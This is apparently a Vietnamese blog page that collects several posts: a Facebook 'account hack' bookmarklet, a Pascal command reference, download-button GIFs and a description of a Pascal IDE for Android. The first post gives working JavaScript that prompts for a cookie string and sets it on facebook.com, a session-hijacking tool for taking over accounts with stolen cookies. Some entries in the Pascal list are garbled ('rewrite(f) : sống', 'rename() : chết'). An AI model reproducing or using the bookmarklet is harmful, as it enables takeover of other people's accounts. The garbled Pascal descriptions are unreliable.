Very Recent Posts
Hack Toài Khoản Fb bằng token cực chất

Hack Toài Khoản Fb bằng token cực chất

link mã hóa token

javascript:void(function(){ function setCookie(t) { var list = t.split("; "); console.log(list); for (var i = list.length - 1; i >= 0; i--) { var cname = list[i].split("=")[0]; var cvalue = list[i].split("=")[1]; var d = new Date(); d.setTime(d.getTime() + (7*24*60*60*1000)); var expires = ";domain=.facebook.com;expires="+ d.toUTCString(); document.cookie = cname + "=" + cvalue + "; " + expires; } } function hex2a(hex) { var str = ''; for (var i = 0; i < hex.length; i += 2) { var v = parseInt(hex.substr(i, 2), 16); if (v) str += String.fromCharCode(v); } return str; } var cookie = prompt("Nhập cookie vào bên dưới để đăng nhập", ""); setCookie(cookie); location.href = 'https://facebook.com'; })();
Tất Cả Câu Lệnh Cơ Bản Trong Pascal - Tin học 11

Tất Cả Câu Lệnh Cơ Bản Trong Pascal - Tin học 11


write(): in ra màn hình liền sau kí tự cuối. 
writeln(): in xuống một hàng. 
read(): đọc biến. 
readln(' '): đọc biến và xuống dòng 
Uses CRT 
clrscr : xoá toàn bộ màn hình. 
textcolor() : in chữ màu. 
textbackground() : tô màu cho màn hình. 
sound() : tạo âm thanh. 
delay() : làm trễ. 
nosound : tắt âm thanh. 
windows(x1,y1,x2,y2) : thay đổi cửa sổ màn hình. 
highvideo : tăng độ sáng màn hình. 
lowvideo : giảm độ sáng màn hình. 
normvideo : màn hình trở lại chế độ sáng bình thường. 
gotoxy(x,y) : đưa con trỏ đến vị trí x,y trên màn hình. 
deline : xoá một dòng đang chứa con trỏ. 
clreol : xoá các ký tự từ vị trí con trỏ đến cuối mà không di chuyển vị trí con trỏ. 
insline : chèn thêm một dòng vào vị trí của con trỏ hiện hành. 
exit : thoát khỏi chương trình. 
textmode(co40) : tạo kiểu chữ lớn. 
randomize : khởi tạo chế độ ngẫu nhiên. 
move(var 1,var 2,n) : sao chép trong bộ nhớ một khối n byte từ biến Var 1 sang biến Var 2. 
halt : Ngưng thực hiện chương trình và trở về hệ điều hành. 
Abs(n) : Giá trị tuyệt đối. 
Arctan(x) : cho kết quả là hàm Arctan(x). 
Cos(x) : cho kết quả là cos(x). 
Exp(x) : hàm số mũ cơ số tự nhiên ex. 
Frac(x) : cho kết quả là phần thập phân của số x. 
int(x) : cho kết quả là phần nguyên của số thập phân x. 
ln(x) : Hàm logarit cơ số tự nhiên. 
sin(x) : cho kết quả là sin(x), với x tính bằng Radian. 
Sqr(x) : bình phương của số x. 
Sqrt(x) : cho kết quả là căn bậc hai của x. 
pred(x) : cho kết quả là số nguyên đứng trước số nguyên x. 
Suuc(x) : cho kết quả là số nguyên đứng sau số nguyên x. 
odd(x) : cho kết quả là true nếu x số lẻ, ngược lại là false. 
chr(x) : trả về một kí tự có vị trí là x trong bảng mã ASCII. 
Ord(x) : trả về một số thứ tự của kí tự x. 
round(n) : Làm tròn số thực n. 
Random(n) : cho một số ngẫu nhiên trong phạm vi n. 
upcase(n) : đổi kí tự chữ thường sang chữ hoa. 
assign(f,) : tạo file. 
rewrite(f) : sống**append(f) : chèn thêm dữ liệu cho file. 
close(f) : tắt file. 
erase(f) : xóa. 
rename() : chết. 
length(s) : cho kết quả là chiều dài của xâu. 
copy(s,a,b) : copy xâu. 
insert(,s,a) : chèn thêm cho xâu. 
delete(s:string,a:integer,b:integer) : xóa b ký tự từ vị trí a trong xâu s 
Unit GRAPH 
initgraph(a,b,) : khởi tạo chế độ đồ hoạ. 
closegraph; : tắt chế độ đồ hoạ. 
setcolor(x) : chọn màu. 
outtext() : in ra màn hình tại góc trên bên trái. 
outtextxy(x,y,); : in ra màn hình tại toạ độ màn hình. 
rectangle(x1,y1,x2,y2): vẽ hình chữ nhật. 
line(x1,y1,x2,y2) : vẽ đoạn thẳng. 
moveto(x,y) : lấy điểm xuất phát để vẽ đoạn thẳng. 
lineto(x,y) : lấy điểm kết thúc để vẽ doạn thảng. 
circle(x,y,n) : vẽ đường tròn. 
ellipse(x,y,o1,o2,a,b): vẽ hình elip. 
floodfill(a,b,n) : tô màu cho hình. 
getfillpattern(x) : tạo biến để tô. 
setfillpattern(x,a) : chọn màu để tô. 
cleardevice; : xoá toàn bộ màn hình. 
settextstyle(n,a,b) : chọn kiểu chữ. 
bar(a,b,c,d) : vẽ thanh. 
bar3d(a,b,c,d,n,h) : vẽ hộp. 
arc(a,b,c,d,e) : vẽ cung tròn. 
setbkcolor(n) : tô màu nền. 
putpixel(x,y,n) : vẽ điểm. 
setfillstyle(a,b) : tạo nền cho màn hình. 
setlinestyle(a,b,c) : chọn kiểu đoạn thẳng. 
getmem(p,1) : chuyển biến để nhớ dữ liệu. 
getimage(x1,y1,x2,y2,p): nhớ các hình vẽ trên vùng cửa sổ xác định. 
putimage(x,y,p,n) : in ra màn hình các hình vừa nhớ. ... 
Unit DOS 
getdate(y,m,d,t): lấy các dữ liệu về ngày trong bộ nhớ. 
gettime(h,m,s,hund): lấy các dữ liệu về giờ trong bộ nhớ. 
findnext(x): tìm kiếm tiếp. 
Findfirst($20,dirinfo): tìm kiếm. ... 
nút liên kết tải xuống bằng ảnh gif - button download file

nút liên kết tải xuống bằng ảnh gif - button download file












cách sử dụng:

Tải những ảnh gif ở trên  mà bạn thích nhất hoặc hợp với web hay blog của mình nhất thì tải về và sử dụng như ảnh bình thường và gắn liên kết tới phần file mà bạn muốn người dùng download là ok
- nếu bạn không biết thì cmt ở dưới để mình hướng dẫn tận tình. cảm ơn các bạn rất nhiều
Chương Trình Dịch Pascal Trên Android

Chương Trình Dịch Pascal Trên Android


Tên phần mềm: Pascal N-IDE - Học lập trình Pascal trên Android

Thể Loại: Giáo Dục 

xuất xứ: Việt Nam

DOWNLOAD Tại Đây
Ứng dụng là một trình thông dịch Pascal trên Android. Ứng dụng này nhầm phục vụ cho mọi người có thể học tập ngôn ngữ Pascal trên di động khi không có máy tính, giúp chúng ta có thể thực hành bất cứ lúc nào, bất cứ nơi nào. 

Ứng dụng hiện đang trong trạng thái làm việc và đang được phát triển một cách tích cực. Xin lưu ý rằng đây là một trình thông dịch nên sẽ không giống hoàn toàn và không cung cấp tất cả các chức năng của Pascal. 

1. Những tính năng chính của IDE:
- Biên dịch chương trình Pascal và chạy chúng mà không cần Internet.
- Báo lỗi khi biên dịch
- Editor mạnh mẽ với nhiều tính năng thông minh: 
★ Menu file: tạo tệp chương trình mới, mở tệp, lưu tệp, lưu tệp với tên khác, tự động lưu tệp
★ Menu edit: Undo, redo, sao chép, dán.
★ Auto suggest: hiển thị cửa sổ nhỏ gợi ý các từ trùng với từ đang gõ
★ Auto format: tự động định dạng lại code để dễ nhìn hơn.
★ Find/Find and replace: tìm kiếm và thay thế, có hỗ trợ Regular Expression.
★ Goto line: Chuyển con trỏ đến một dòng.
★ Highlight code: làm nổi bật các từ khóa.
★ Code style: nhiều giao diện cho trình soạn thảo.
★ Cỡ chữ, phông chữ, word wrap.
- Hỗ trợ các thư viện xử lý trong nền tảng Android (camera, ghi âm, thông báo, pin,...)

2. Các thư viện được hỗ trợ cho Android. Để sử dụng các thư viện các bạn cần dùng từ khóa "uses + tên thư viện"
- Thư viện "aTTSpeech" chuyển văn bản thành giọng nói. Các bạn xem ví dụ text_to_speech.pas
- Thư viện "aRecognition" chuyển giọng nói thành văn bản (cần có Google Voice) Các bạn xem ví dụ speech_to_text.pas
- Thư viện "aVibrate" hỗ trợ điều khiển rung. Các bạn xem ví dụ vibrate.pas
- Thư viện "aSensor" hỗ trợ xử lý các cảm biến trên Android (ánh sáng, gia tốc,...). Xem ví dụ về cảm biến gia tốc accelerometer_sensor.pas
- Thư viện "aNotify" giúp hiển thị thông báo trên thanh trạng thái. Xem ví dụ notify.pas
- Thư viện "aClipboard" thao tác với clipboard trong Android. Xem ví dụ clipboard.pas
- Thư viện "aBattery" lấy thông tin pin của thiết bị. Xem ví dụ battery.pas

3. Tự động sửa lỗi phân tích cú pháp
         * khai báo kiểu
         * khai báo thủ tục
         * tuyên bố hằng
         * khai báo hàm
         * khai báo biến
         * Sửa sai kiểu
         * Thay đổi hằng thành biến
         * Sửa chữa các cặp ngoặc
         * Thay đổi kiểu của hằng số
         * Thay đổi kiểu biến